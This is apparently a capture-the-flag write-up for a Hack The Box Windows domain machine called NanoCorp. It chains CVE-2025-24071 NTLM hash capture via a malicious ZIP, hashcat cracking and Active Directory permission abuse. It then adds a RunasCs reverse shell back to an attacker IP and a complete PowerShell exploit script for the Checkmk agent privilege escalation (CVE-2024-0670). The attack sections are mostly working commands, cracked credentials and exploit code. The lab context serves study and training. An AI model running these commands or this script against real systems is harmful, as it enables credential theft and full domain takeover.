RECON

Port Scan

$ rustscan -a $targetIp --ulimit 2000 -r 1-65535 -- -A sS -Pn

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://nanocorp.htb/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-11-09 07:16:09Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
3389/tcp  open  ms-wbt-server syn-ack Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: NANOCORP
|   NetBIOS_Domain_Name: NANOCORP
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: nanocorp.htb
|   DNS_Computer_Name: DC01.nanocorp.htb
|   DNS_Tree_Name: nanocorp.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2025-11-09T07:17:11+00:00
| ssl-cert: Subject: commonName=DC01.nanocorp.htb
| Issuer: commonName=DC01.nanocorp.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-10-20T01:58:09
| Not valid after:  2026-04-21T01:58:09
| MD5:   4f00:467e:e490:4141:7c94:19b7:4ab3:76e6
| SHA-1: 0b96:8038:2148:abee:9372:2809:14f1:b62a:a539:320b
| -----BEGIN CERTIFICATE-----
| MIIC5jCCAc6gAwIB...
|_ssl-date: 2025-11-09T07:17:48+00:00; +7h00m00s from scanner time.
5986/tcp  open  ssl/http      syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=dc01.nanocorp.htb
| Subject Alternative Name: DNS:dc01.nanocorp.htb
| Issuer: commonName=dc01.nanocorp.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-06T22:58:43
| Not valid after:  2026-04-06T23:18:43
| MD5:   2e3e:1a10:10b8:7f43:dc93:a4d9:05ef:6053
| SHA-1: 4674:6312:27ce:e783:91b7:ec00:1746:f114:d669:4ea0
| -----BEGIN CERTIFICATE-----
| MIIDMDCCAhigAwIB...
6556/tcp  open  check_mk      syn-ack check_mk extension for Nagios 2.1.0p10
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49664/tcp open  msrpc         syn-ack Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack Microsoft Windows RPC
49671/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
56404/tcp open  msrpc         syn-ack Microsoft Windows RPC
56410/tcp open  msrpc         syn-ack Microsoft Windows RPC
56427/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Hosts: nanocorp.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 33065/tcp): CLEAN (Timeout)
|   Check 2 (port 16915/tcp): CLEAN (Timeout)
|   Check 3 (port 18773/udp): CLEAN (Timeout)
|   Check 4 (port 20152/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-11-09T07:17:08
|_  start_date: N/A
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s

Clean AD footprint, one DC, Apache+PHP on Windows, WinRM open, and a juicy Check_MK agent leaking on 6556.

Web App

We begin at http://hire.nanocorp.htb — make sure it resolves locally via /etc/hosts. It presents as a corporate career portal:

htb_nanocorp_1

It invites us to upload our résumé in ZIP format, running on a Windows backend. Classic trapdoor: file upload + archive extraction + Windows = exploitation sweet spot.

htb_nanocorp_2

Recall CVE-2025-24071 — a Windows ZIP traversal exploit we weaponized in Fluffy writeup? That's likely to resurface here. We'll test that soon.

Check_MK Agent

Check_MK is an enterprise monitoring platform (Nagios lineage).

  • Hosts run a lightweight agent that listens on TCP 6556 and dumps plaintext “facts” about the system.
  • On Windows that's check_mk_agent.exe + the Agent Controller cmk-agent-ctl.

By default, the service serves on port 6556/tcp (plaintext by default):

$ nc -nv $targetIp 6556

10.129.111.122 6556 (checkmk-agent) open
<<<check_mk>>>
Version: 2.1.0p10
BuildDate: Aug 19 2022
AgentOS: windows
Hostname: DC01
Architecture: 64bit
WorkingDirectory: C:\Windows\system32
ConfigFile: C:\Program Files (x86)\checkmk\service\check_mk.yml
LocalConfigFile: C:\ProgramData\checkmk\agent\check_mk.user.yml
AgentDirectory: C:\Program Files (x86)\checkmk\service
PluginsDirectory: C:\ProgramData\checkmk\agent\plugins
StateDirectory: C:\ProgramData\checkmk\agent\state
ConfigDirectory: C:\ProgramData\checkmk\agent\config
TempDirectory: C:\ProgramData\checkmk\agent\tmp
LogDirectory: C:\ProgramData\checkmk\agent\log
SpoolDirectory: C:\ProgramData\checkmk\agent\spool
LocalDirectory: C:\ProgramData\checkmk\agent\local

[...nip...]

<<<ps:sep(9)>>>

[...nip...]
(\\NT AUTHORITY\SYSTEM,4048,18456,0,5784,3,29062500,55000000,315,2,6621)        svchost.exe
(\\NANOCORP\web_svc,10152,1732,0,5620,9,2031250,5000000,172,1,6605)     httpd.exe
(\\NANOCORP\web_svc,6552,1296,0,2604,6,1093750,937500,140,4,6605)       conhost.exe
(\\NANOCORP\web_svc,47868,14840,0,4164,46,2031250,3125000,518,153,6600) httpd.exe
(\\NT AUTHORITY\LOCAL SERVICE,2616,13572,0,6420,2,937500,312500,237,3,6505)     svchost.exe
(\\NT AUTHORITY\LOCAL SERVICE,15744,18704,0,5636,15,5781250,26562500,299,22,6504)       svchost.exe
(\\NT AUTHORITY\SYSTEM,4028,11856,0,6612,3,312500,937500,259,6,6504)    svchost.exe
(\\NT AUTHORITY\SYSTEM,7848,14332,0,6572,7,5000000,1093750,267,9,6504)  svchost.exe
(\\NT AUTHORITY\SYSTEM,2660,12356,0,5436,2,312500,781250,232,7,6502)    svchost.exe
(\\NT AUTHORITY\SYSTEM,6228,10908,0,1556,6,312500,312500,193,5,6051)    svchost.exe
(SYSTEM,0,6704,0,2700,1,625000,7031250,275,8,5655)      csrss.exe
(\\NT AUTHORITY\SYSTEM,2412,11116,0,6600,2,3281250,1250000,253,2,5655)  winlogon.exe
(\\Font Driver Host\UMFD-2,1528,4300,0,6940,1,781250,468750,39,5,5647)  fontdrvhost.exe
(\\Window Manager\DWM-2,11332,38008,0,5724,11,3437500,7031250,704,17,5647)      dwm.exe
(\\NANOCORP\web_svc,2296,11428,0,4016,2,156250,1250000,303,6,5643)      rdpclip.exe
(\\NANOCORP\web_svc,5024,26860,0,2540,4,3437500,4687500,502,11,5643)    sihost.exe
(\\NANOCORP\web_svc,2772,13428,0,7164,2,781250,781250,220,3,5643)       svchost.exe
(\\NANOCORP\web_svc,4948,25888,0,2200,4,7031250,1093750,319,2,5643)     svchost.exe
(\\NANOCORP\web_svc,1996,11512,0,2492,1,0,468750,184,2,5643)    taskhostw.exe
(\\NT AUTHORITY\SYSTEM,2848,15324,0,4912,2,781250,1250000,225,2,5643)   svchost.exe
(\\NT AUTHORITY\SYSTEM,1564,7860,0,2476,1,0,156250,173,3,5643)  svchost.exe
(\\NANOCORP\web_svc,3244,15264,0,2336,3,937500,312500,366,8,5642)       ctfmon.exe
(\\NT AUTHORITY\SYSTEM,1968,11064,0,3820,1,312500,1406250,166,1,5642)   svchost.exe
(\\NANOCORP\web_svc,26512,91916,0,5604,25,24687500,41093750,1581,35,5641)       explorer.exe
(\\NANOCORP\web_svc,12680,54044,0,372,12,5312500,1562500,583,13,5635)   StartMenuExperienceHost.exe
(\\NANOCORP\web_svc,10020,43480,0,5656,9,6093750,1406250,541,10,5635)   TextInputHost.exe
(\\NANOCORP\web_svc,2652,16336,0,5336,2,0,781250,192,1,5634)    RuntimeBroker.exe
(\\NANOCORP\web_svc,31056,63624,0,3264,30,12968750,3593750,689,19,5633) SearchApp.exe
(\\NANOCORP\web_svc,5240,22980,0,2608,5,1718750,8281250,312,2,5632)     RuntimeBroker.exe
(\\NANOCORP\web_svc,2200,13160,0,7372,2,468750,625000,222,1,5630)       RuntimeBroker.exe
(\\NT AUTHORITY\SYSTEM,8016,31128,0,7556,7,3437500,312500,355,5,5628)   LogonUI.exe
(\\NANOCORP\web_svc,3148,12500,0,8032,3,312500,156250,203,1,5619)       AzureArcSysTray.exe
(\\NANOCORP\web_svc,2236,14516,0,7320,2,156250,312500,171,2,5523)       svchost.exe
(\\NT AUTHORITY\SYSTEM,24952,35216,0,1040,24,4375000,5937500,326,10,538)        WmiPrvSE.exe
(\\NT AUTHORITY\SYSTEM,2980,13516,0,2484,2,312500,781250,244,5,208)     svchost.exe
(SYSTEM,0,6928,0,6608,1,312500,781250,123,3,208)        svchost.exe

C Nov 08 23:16:21 32768.23 KDC The KDC received invalid messages of type changepassword.
W Nov 08 23:17:06 0.36886 Schannel No suitable default server credential exists on this system. This will prevent server applications that expect to make use of the system default credentials from accepting SSL connections. An example of such an application is the directory server. Applications that manage their own credentials, such as the internet information server, are not affected by this.   The SSPI client process is lsass (PID: 704).
W Nov 08 23:17:06 0.36886 Schannel No suitable default server credential exists on this system. This will prevent server applications that expect to make use of the system default credentials from accepting SSL connections. An example of such an application is the directory server. Applications that manage their own credentials, such as the internet information server, are not affected by this.   The SSPI client process is lsass (PID: 704).

[...nip...]

[[[Windows PowerShell:missing]]]
<<<checkmk_agent_plugins_win:sep(0)>>>
pluginsdir C:\ProgramData\checkmk\agent\plugins
localdir C:\ProgramData\checkmk\agent\local

[...nip...]

The Check_MK Windows agent running on the domain controller DC01:

  • Web runs as a domain service account: multiple httpd.exe processes are running as NANOCORP\web_svc. That's likely an SPN-bearing account (HTTP/*) → Kerberoast target. If that account applies weak password then its TGS will be crackable.
  • WinRM is enabled (auto) and RemoteRegistry is auto: remote management paths are open once we have creds.
  • Check_MK version/paths: 2.1.0p10, config & plugin dirs under C:\ProgramData\checkmk\agent\... . This version falls in vulnerable range of CVE-2024-0670.

WEB

CVE-2025-24071

NTLMv2 Leak via .library-ms.

Overview

This bug weaponizes Windows File Explorer's trust in .library-ms files, triggering a SMB authentication leak during file preview or extraction. It's a spoofing vulnerability that causes NTLMv2 hashes to be sent to an attacker-controlled share via UNC paths.

Any ZIP upload feature on a Windows server should ring alarm bells — especially one like this.

More depth in the Fluffy writeup.

Attack Flow:

  1. Craft a .library-ms whose <url> is \\ATTACKER_IP\share.
  2. Place it inside a ZIP/RAR and lures the victim to extract it (or otherwise let Explorer index/preview it).
  3. Explorer's background parsing hits the UNC path → SMB auth to attacker → NTLMv2 hash captured (Responder/impacket).

PoC: ExploitDB #52310

Exploit

Grab the PoC from the ThemeHackers GitHub repo. Run:

Bash
python exploit.py -f Microsoft -i $attackerIp
htb_nanocorp_3

This compresses a .library-ms file into a ZIP. Ready to bait the victim.

Start a responder listener:

Bash
sudo responder -I tun0

Upload the ZIP. Sit back and capture the NTLMv2 hash:

htb_nanocorp_4

Hashcat

With the NTLMv2 hash we can crack it directly with hashcat mode 5600 (netntlmv2) or John's netntlmv2.

Bash
hashcat -m 5600 -a 0 hash.txt path/to/rockyou.txt 

Normally, a service account isn't crackable — its password is often randomized and rotated by the domain controller. But in this case, it looks like we've hit a weak spot:

WEB_SVC::NANOCORP:c20b350de63975f6:9b177a91599ba038441b0515a67cf1ba:010100000000000080e339d5d150dc01c0e69ed4df847efe0000000002000800500039005a00560001001e00570049004e002d0053004e004700550041004b004c00410039005000300004003400570049004e002d0053004e004700550041004b004c0041003900500030002e00500039005a0056002e004c004f00430041004c0003001400500039005a0056002e004c004f00430041004c0005001400500039005a0056002e004c004f00430041004c000700080080e339d5d150dc010600040002000000080030003000000000000000000000000020000068e2148a7687b11b7a5ee9c7f8432f27119da63a083e40d780efa975583bf8bf0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e0032000000000000000000:dksehdgh712!@#

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: WEB_SVC::NANOCORP:c20b350de63975f6:9b177a91599ba038...000000

Verify the credential via Netexec:

htb_nanocorp_5

Though web_svc only has LDAP access, it's clear this AD environment is vulnerable:

  • NTLM is enabled
  • And we now hold a compromised domain service account — a golden key that can unlock full domain compromise.

USER

Enumeration

Netexec

Since NTLM is enabled, we check for coercion and relay vulnerabilities. Start with the spider_plus module of netexec.

However, SMB access requires Kerberos in our case. So we prep the Kerberos environment accordingly:

Bash
nxc smb dc01.nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' --generate-krb5-file ./krb5.conf
export KRB5_CONFIG=./krb5.conf

Probe SMB using ft.sh (time-skew wrapper) to handle the known drift discovered during scanning:

Bash
./ft.sh nanocorp.htb \
nxc smb dc01.nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' -M spider_plus

Error Countermeasure: KRB_AP_ERR_SKEW

Kerberos doesn't tolerate time drift. If authentication fails due to skew, realign time using faketime — as demonstrated Certified writeup — or deploy a shell wrapper (ft.sh) mentioned in the Haze writeup, tailored for Arch Linux. That's my play here.

Netexec pulls a TGT and probes share visibility:

htb_nanocorp_6

This is a Web service account, so there's a chance it holds privileged tokens, especially for localhost services (see Signed writeup).

Turns out it doesn't — but we push forward.

We next check for NTLM reflection (CVE-2025-33073) via the ntlm_reflection module:

Bash
./ft.sh nanocorp.htb \
nxc smb dc01.nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' -M ntlm_reflection
htb_nanocorp_7

Vulnerable.

To make it usable, we need a coerce primitive. Enter coerce_plus:

Bash
./ft.sh nanocorp.htb \
nxc smb dc01.nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' -M coerce_plus
htb_nanocorp_8

Let's just say this domain is a complete DISASTER.

BloodHound

NTLM relaying opens a direct path to root — but first, let's map domain DACLs using bloodhound-python:

Bash
bloodhound-python \
        -dc 'dc01.nanocorp.htb' -d 'nanocorp.htb' \
    		-u 'web_svc' -p 'dksehdgh712!@#' \
    		-ns $targetIp --zip -c All 

The graph says it all:

htb_nanocorp_9
  • web_svc has AddSelf on group IT_SUPPORT
  • IT_SUPPORT has ForceChangePassword on monitoring_svc
  • monitoring_svc is in REMOTE_MANAGEMENT

Even if PROTECTED USERS is involved, we've covered the bypasses in earlier writeups.

DACL Abuse

We escalate by hijacking monitoring_svc:

Bash
# AddSelf: join IT_SUPPORT
bloodyAD --host dc01.nanocorp.htb -d nanocorp.htb \
      		-u 'web_svc' -p 'dksehdgh712!@#' \
      		add groupMember IT_SUPPORT web_svc
		
# ForceChangePassword: reset monitoring_svc
bloodyAD --host dc01.nanocorp.htb -d nanocorp.htb \
      		-u 'web_svc' -p 'dksehdgh712!@#' \
      		set password monitoring_svc 'SuperStrongPassword!'
htb_nanocorp_10

Only WinRMS (WinRM over SSL) is available, so we use evil_winrmexec.py from the Hercules writeup:

Bash
./ft.sh nanocorp.htb \
python evil_winrmexec.py -ssl \
		nanocorp.htb/monitoring_svc:'SuperStrongPassword!'@dc01.nanocorp.htb -k
htb_nanocorp_11

User monitoring_svc compromised. User flag captured.

ROOT

AV is active on the victim machine:

htb_nanocorp_12

We're blocked by Defender's CIM provider — the cmdlet needs elevated privileges.

As mentioned earlier, the target is vulnerable to relaying attacks (NTLM or Kerberos), but that is the unintended path, which I will place it at the end of this writeup.

The intended path will be exploiting Check_MK LPE via CVE-2024-0670.

AV Bypass

With the creds in hand, we can pivot into web_svc using RunasCs:

PowerShell
.\RunasCs.exe web_svc "dksehdgh712!@#" powershell -r 10.10.16.2:60001 -b -l 2
htb_nanocorp_15

Remember: monitoring_svc couldn't run Get-MpComputerStatus — insufficient privileges. But web_svc can:

htb_nanocorp_19

We've got AV visibility and execution rights.

No TGT present — klist is empty and whoami /all can't resolve groups — but that's fine. We can execute malicious payloads as web_svc:

htb_nanocorp_20

It turns out web_svc is privileged and has far less constraints in the domain. This paves the way for post-exploitation tools, LSASS access, or lateral pivoting.

Tunnelling

This step is not neccessary if we stick on the intended path (Check_MK LPE), but a prerequisite for the unintended path (NTLM relaying)

To reach the internal ports, we can launch Ligolo from the web_svc shell:

htb_nanocorp_22

Tunnel spins up successfully.

Checkmk LPE

CVE-2024-0670

As previously identified, the Checkmk agent is exposed on DC01 (port 6556). Its version: 2.1.0p10 (Windows) — and it's running as SYSTEM.

We suspect the intended privesc path involves Checkmk — the link between its function and the monitoring_svc foothold is too aligned to ignore:

Checkmk 2.2 has arrived – and is ready to monitor your hybrid IT infrastructure... enhanced integrations and over 174 new or reworked checks and agents. Monitor your cloud assets...

This SEC Consult advisory details a local privilege escalation in Checkmk Agent for WindowsCVE-2024-0670.

Our target version, 2.1.0p10, is confirmed vulnerable. The agent runs as SYSTEM, making it the perfect escalation vector.

The exploit hinges on pre-planting read-only cmk_all_<PID>_<CTR>.cmd files in C:\Windows\Temp\ so when Checkmk generates & then executes its temp .cmd during certain actions, it hits our file and runs it as NT AUTHORITY\SYSTEM. Trigger choices: MSI repair or hammer the agent socket to force runs.

Cached MSI

To trigger repair, we need the local cached MSI path — it varies per system and is obfuscated. Pull it from the registry:

PowerShell
# Fast registry scrape for the MSI path
$msi = Get-ItemProperty `
  'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties' |
  Where-Object { $_.DisplayName -like 'Checkmk*' -or $_.Publisher -like '*tribe29*' } |
  Select-Object -First 1 -ExpandProperty LocalPackage

Result:

PS C:\temp> $msi
C:\Windows\Installer\1e6f2.msi

Trial & Error

1) MSI paths & proof file

PowerShell
$MSI=(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties'|?{$_.DisplayName -like 'Checkmk*' -or $_.Publisher -like '*tribe29*'}|Select-Object -First 1 -Expand LocalPackage);$MSI

Define the path of proof file:

PowerShell
$OUT='C:\Windows\Temp\cmk_poc.txt'; if(Test-Path $OUT){rm $OUT -Force}

2) Sanity: Temp write works

We cannot list C:\Windows\Temp, but we can write into it. Test run:

PowerShell
'ok'|Set-Content -Path C:\Windows\Temp\__cmk_test.tmp -Encoding ASCII -Force;Get-Content C:\Windows\Temp\__cmk_test.tmp;Remove-Item C:\Windows\Temp\__cmk_test.tmp -Force
htb_nanocorp_25

3) Seed .cmd files

Top PID right now

PS C:\temp> (gps | sort id -desc | select -First 1 -Expand Id)
7976

Now we can write to C:\Windows\Temp and got Top PID = 7976. Seed a tight window (±100 PIDs), ctr 0..1:

PowerShell
$Top=(gps|sort id -desc|select -First 1 -Expand Id);$Low=[Math]::Max(100,$Top-100);$High=$Top+100;$Ctrs=0..1;$ok=0;foreach($p in $Low..$High){foreach($c in $Ctrs){$f="C:\Windows\Temp\cmk_all_{0}_{1}.cmd" -f $p,$c;try{Set-Content -Path $f -Value "@echo off`r`nwhoami > `"$OUT`"" -Encoding ASCII -Force;attrib +R $f|Out-Null;$ok++}catch{}}};$ok
htb_nanocorp_26

402 writes landed. That's plenty of buckshot.

Cleanup:

PowerShell
Remove-Item 'C:\Windows\Temp\cmk_*' -Force -ErrorAction SilentlyContinue

4) Trigger: MSI self-repair & log

PowerShell
$LOG='C:\Windows\Temp\cmk_repair.log';Start-Process msiexec.exe -ArgumentList "/fa `"$MSI`" /qn /norestart /l*vx `"$LOG`"" -Wait;Get-Item $LOG|fl Length,LastWriteTime

Let's see what the MSI repair actually did:

PS C:\temp> $LOG='C:\Windows\Temp\cmk_repair.log'; Get-Content $LOG -Tail 120

=== Verbose logging started: 11/9/2025  6:24:22  Build type: SHIP UNICODE 5.00.10011.00  Calling process: C:\Windows\system32\msiexec.exe ===
MSI (c) (A0:C0) [06:24:22:404]: Resetting cached policy values
MSI (c) (A0:C0) [06:24:22:404]: Machine policy value 'Debug' is 0
MSI (c) (A0:C0) [06:24:22:404]: ******* RunEngine:
           ******* Product: {675A6D5C-FF5A-11EF-AEA3-1967AD678D6D}
           ******* Action:
           ******* CommandLine: **********
MSI (c) (A0:C0) [06:24:22:436]: Client-side and UI is none or basic: Running entire install on the server.
MSI (c) (A0:C0) [06:24:22:436]: Grabbed execution mutex.
MSI (c) (A0:C0) [06:24:22:436]: Failed to connect to server. Error: 0x80070005

MSI (c) (A0:C0) [06:24:22:451]: Note: 1: 2774 2: 0x80070005
1: 2774 2: 0x80070005
MSI (c) (A0:C0) [06:24:22:451]: Failed to connect to server.
MSI (c) (A0:C0) [06:24:22:451]: MainEngineThread is returning 1601
=== Verbose logging stopped: 11/9/2025  6:24:22 ===

Self-repair attempt failed: 0x80070005 / return 1601 → Windows Installer service refused the server-side repair from a non-elevated context.

So I ran the commands on web_svc shell instead. The log shows:

...
Property(S): ProductState = 5
Property(S): PackageCode = {C49499D9-39CD-5055-9720-C96B27BE578C}
Property(S): MsiLogFileLocation = C:\Windows\Temp\cmk_repair.log
MSI (s) (54:DC) [06:35:37:295]: Note: 1: 1729
MSI (s) (54:DC) [06:35:37:295]: Note: 1: 2205 2:  3: Error
MSI (s) (54:DC) [06:35:37:295]: Note: 1: 2228 2:  3: Error 4: SELECT `Message` FROM `Error` WHERE `Error` = 1729
MSI (s) (54:DC) [06:35:37:295]: Note: 1: 2205 2:  3: Error
MSI (s) (54:DC) [06:35:37:295]: Note: 1: 2228 2:  3: Error 4: SELECT `Message` FROM `Error` WHERE `Error` = 1709
MSI (s) (54:DC) [06:35:37:295]: Product: Check MK Agent 2.1 -- Configuration failed.

MSI (s) (54:DC) [06:35:37:295]: Windows Installer reconfigured the product. Product Name: Check MK Agent 2.1. Product Version: 2.1.0.50010. Product Language: 1033. Manufacturer: tribe29 GmbH. Reconfiguration success or error status: 1603.

MSI (s) (54:DC) [06:35:37:295]: Closing MSIHANDLE (1) of type 790542 for thread 7132
MSI (s) (54:DC) [06:35:37:295]: Deferring clean up of packages/files, if any exist
MSI (s) (54:DC) [06:35:37:295]: MainEngineThread is returning 1603
MSI (s) (54:48) [06:35:37:295]: RESTART MANAGER: Session closed.
MSI (s) (54:48) [06:35:37:295]: No System Restore sequence number for this installation.
...
MSI (c) (30:38) [06:35:37:311]: MainEngineThread is returning 1603
=== Verbose logging stopped: 11/9/2025  6:35:37 ===

ProductCode: {675A6D5C-FF5A-11EF-AEA3-1967AD678D6D}; and we did force the repair to run!

Our logs tell the story:

  • 1601/0x80070005 (client) = non-elevated msiexec couldn't hand off to the service.
  • 1603 (server) = the service-side msiexec did run (reconfigure happened). That's the one that will drop/execute the temp .cmd as SYSTEM.

5) Proof check

Did SYSTEM run our payload?

PowerShell
if(Test-Path $OUT){Get-Content $OUT}else{'no-proof-yet'}

Failed for the moment. But we will now summarize from our failure.

PoC

After the trial and error, we observed distinctive behaviors between monitoring_svc and web_svc:

  • web_svc (wins): Runs with elevated/service semantics and is allowed to trigger server-side MSI repair. In logs that shows up as "MSI (s)" lines and a return 1603—which, in this context, is success for our purposes (the agent was reconfigured/restarted under SYSTEM).
  • monitoring_svc (limited): Attempts trigger client-side MSI with 1601 / 0x80070005no server-side repair, no agent restart, seeds never execute. Anything monitoring_svc drops in C:\Windows\Temp is typically readable by SYSTEM, but execution of unsigned EXEs from Temp is often blocked by WDAC/AppLocker/SRP/AV—the failure isn't about DACL ownership; it's policy, I think.
  • File semantics: Set Read-only (+R) flag on cmk_all_<PID>_<CTR>.cmd to force the agent to reuse our pre-planted script instead of overwriting it during startup.
  • PID strategy: Start with a wide band (e.g., 300–20000) to win the race, then narrow once we observe typical agent PIDs (often 1k–10k). Seed CTR=0 and CTR=1 and keep seeding during the repair window.

Therefore, we create a PoC script:

  • Creates C:\pwn\
  • Seeds only the correct filename pattern: C:\Windows\Temp\cmk_all_<PID>_1.cmd
  • Marks seeds read-only (the key to hijack)
  • Triggers server-side MSI repair (works from web_svc context that can repair)
  • Verifies C:\pwn\pwn.txt contains who's running it (expect NT AUTHORITY\SYSTEM)
  • Seeds from 1000 to 10000, which falls in the range of host PIDs (tends to be 4 digits on our target).
PowerShell
# CVE-2024-0670 (Checkmk Agent 2.1.0p10, Windows) 
# Flow: seed predictable ReadOnly .cmd -> MSI repair -> nudge agent -> verify C:\pwn\pwn.txt

param(
  [int]$MinPID = 1000,
  [int]$MaxPID = 10000,
  [int]$SeedSeconds = 30,
  [int]$NudgeCount = 120,
  [switch]$NoRepair,     
  [switch]$Cleanup
)

$ErrorActionPreference = 'SilentlyContinue'

# Paths / payload
$ProofDir = 'C:\pwn'
$Proof    = 'C:\pwn\pwn.txt'
$TempDir  = 'C:\Windows\Temp'
$LogPath  = Join-Path $TempDir 'cmk_repair.log'

try { New-Item -ItemType Directory -Path $ProofDir -Force | Out-Null } catch {}

# Resolve Checkmk MSI
$MSI = (
  Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties' |
  Where-Object { $_.DisplayName -like 'Checkmk*' -or $_.Publisher -like '*tribe29*' } |
  Select-Object -First 1 -ExpandProperty LocalPackage
)

if ($MSI -and (Test-Path $MSI)) {
  Write-Host "[*] MSI: $MSI"
} else {
  Write-Host "[-] Could not resolve Checkmk MSI path (continuing if -NoRepair)."
}

# Batch payload written into cmk_all_<PID>_<CTR>.cmd
$Batch = '@echo off' + "`r`n" + 'mkdir C:\pwn 2>nul' + "`r`n" + 'whoami > "C:\pwn\pwn.txt"'

function Write-SeedFile([string]$Dest, [string]$Content){
  try{
    [System.IO.File]::WriteAllText($Dest, $Content, [System.Text.Encoding]::ASCII)
    $cur = [System.IO.File]::GetAttributes($Dest)
    [System.IO.File]::SetAttributes($Dest, ($cur -bor [System.IO.FileAttributes]::ReadOnly))
    return $true
  } catch { return $false }
}

# Continuous seeding loop for SeedSeconds seconds (CTR 0 and 1)
$deadline = (Get-Date).AddSeconds($SeedSeconds)
$ctrValues = 0,1
$seedOk = 0

while ((Get-Date) -lt $deadline) {
  for ($guess = $MinPID; $guess -le $MaxPID; $guess++) {
    foreach ($ctr in $ctrValues) {
      $dest = "C:\Windows\Temp\cmk_all_{0}_{1}.cmd" -f $guess,$ctr
      if (Write-SeedFile -Dest $dest -Content $Batch) { $seedOk++ }
    }
  }
}

Write-Host "[*] Seeded $seedOk read-only .cmd files across $MinPID..$MaxPID (CTR=0,1)"

# Trigger server-side repair (must be an account allowed to repair — e.g., web_svc)
if (-not $NoRepair -and $MSI) {
  Write-Host "[*] Triggering server-side repair (silent, verbose log)..."
  Start-Process msiexec.exe -ArgumentList "/fa `"$MSI`" /qn /norestart /l*vx `"$LogPath`"" -Wait
} elseif ($NoRepair) {
  Write-Host "[*] Skipping repair (NoRepair set)."
}

# Nudge local agent to encourage temp activity
Write-Host "[*] Nudging local agent $NudgeCount times..."
for ($i=0; $i -lt $NudgeCount; $i++) {
  try{
    $c = New-Object Net.Sockets.TcpClient('127.0.0.1',6556)
    $s = $c.GetStream()
    $b = New-Object byte[] 256
    $s.ReadTimeout = 800
    try{ [void]$s.Read($b,0,$b.Length) }catch{}
  }catch{}finally{
    try{ if($s){$s.Close()} }catch{}
    try{ if($c){$c.Close()} }catch{}
  }
}

# Tail log if present (service context lines are "MSI (s)")
if (Test-Path $LogPath) {
  Write-Host "[*] Tail of repair log:"
  Get-Content $LogPath -Tail 30 | Out-Host
}

# Verify proof
Start-Sleep -Seconds 2
if (Test-Path $Proof) {
  Write-Host "`n[+] Success. Contents of $Proof :"
  Get-Content $Proof
} else {
  Write-Host "`n[!] No proof yet."
  Write-Host "    Hints:"
  Write-Host "    - Run as an account that CAN repair (web_svc)."
  Write-Host "    - Increase -SeedSeconds (e.g., 40 or 60)."
  Write-Host "    - Widen band carefully: -MinPID 300 -MaxPID 20000."
  Write-Host "    - Confirm write perms: icacls C:\Windows\Temp (Users:(M) expected)."
  Write-Host "    - Check $LogPath (look for 'MSI (s)' and 'reconfigured the product')."
}

# Optional cleanup
if ($Cleanup) {
  Write-Host "[*] Cleanup: removing seeded .cmd files..."
  Get-ChildItem $TempDir -Filter 'cmk_all_*_0.cmd' -Force | Remove-Item -Force -ErrorAction SilentlyContinue
  Get-ChildItem $TempDir -Filter 'cmk_all_*_1.cmd' -Force | Remove-Item -Force -ErrorAction SilentlyContinue
}

Seed phase, we brute-force the likely PID band (MinPID..MaxPID) and write both variants:

cmk_all_<PID>_0.cmd
cmk_all_<PID>_1.cmd

Each file contains a pure batch payload:

BAT (Batchfile)
@echo off
mkdir C:\pwn 2>nul
whoami > "C:\pwn\pwn.txt"

Then we set the Read-Only attribute so the agent will execute our file instead of overwriting it.

Repair phase, we call:

PowerShell
msiexec /fa "<msi>" /qn /norestart /l*vx C:\Windows\Temp\cmk_repair.log

This reconfigures/restarts the agent under SYSTEM, producing a new agent PID that should land somewhere within our seeded band.

